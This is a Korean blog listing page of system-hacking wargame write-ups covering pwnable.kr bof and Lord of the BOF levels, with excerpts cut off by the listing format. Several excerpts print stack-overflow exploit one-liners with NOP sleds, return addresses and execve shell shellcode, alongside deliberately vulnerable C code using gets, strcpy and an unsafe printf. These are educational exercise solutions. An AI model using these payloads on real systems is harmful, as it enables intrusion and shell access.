목록시스템 해킹 (23)
ii4gsp
파일 두개를 모두 다운받아 분석해보자 #include #include #include void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } gets()함수에서 받는 데이터의 크기를 제한하지지 않고 문자를 입력받아 취약점이 발견하는걸 알수있다. 버퍼 오버플로우를 발생시켜 키값을 0xcafebabe로 해주면 문제가 풀릴것이다. overflowme는 ebp-[0x2c]로부..
#include #include #include #include int target; void printbuffer(char *string) { printf(string); } void vuln() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printbuffer(buffer); if(target == 0x01025544) { printf("you have modified the target :)\n"); } else { printf("target is %08x :(\n", target); } } int main(int argc, char **argv) { vuln(); } target의 값을 0x01025544로 바꿔줘야 한다. 문자 AAAA를..
47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다. ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다. 파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자 strcpy() 함수가 호출되고 바로 다음 명령인 부분에 break point를 걸어주자 스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다. \xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다. 주소가 0xbffe로 시작한다. 아무 주소나 ret로 잡고 페이로드를 작성하면 된다. payload ./vampire $(python -c 'print "\x90" * 44 + "\xe8\..
이전 문제에서 조건이 하나 추가되었다. argv[1]의 48번째 바이트가 \xbf가 아니라면 프로그램이 종료되고 argv[1]이 48이상이라도 프로그램이 종료된다. gdb로 열어서 strcpy() 함수 다음명령인 부분에 break point를 걸어주었다. argv[2]의 주소를 0xbffffc14로 잡아주고 페이로드는 (buffer + sfp + argv[2]) + (nop+ shellcode)가 된다. payload ./darkelf $(python -c 'print "\x90" * 44 + "\x14\xfc\xff\xbf"') $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5..
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..
소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다. gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다. 파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는 buffer ________ sfp ________ ret 버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 출력해줄 소스코드를 작성해주고 쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다. 쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소 파이프를 ..
LOB는 \xff를 입력했을 때, \x00으로 처리해버려 쉘을 획득하지 못하는 문제가 발생한다. 그래서 bash2를 입력해주고 문제를 풀어야한다. gremlin.c 소스코드를 보면 256byte buffer라는 변수가 선언되있고 argc가 2 이상인지 확인하고 strcpy() 함수로 argv[1]에 buffer를 복사한다. strcpy() 함수에서 취약점이 발생한다. 파일을 복사하여 gdb로 파일을 열어주었다. 를 보면 buffer가 ebp-256에 위치한것을 알 수 있고 buffer의 크기가 256이니 dummy값 없이 buffer - sfp - ret가 된다. strcpy()함수 호출하고 난 바로 다음인 부분을 break point해주고 A로 256개의 값을 채워주었다. NOP중에서 0xbffff91..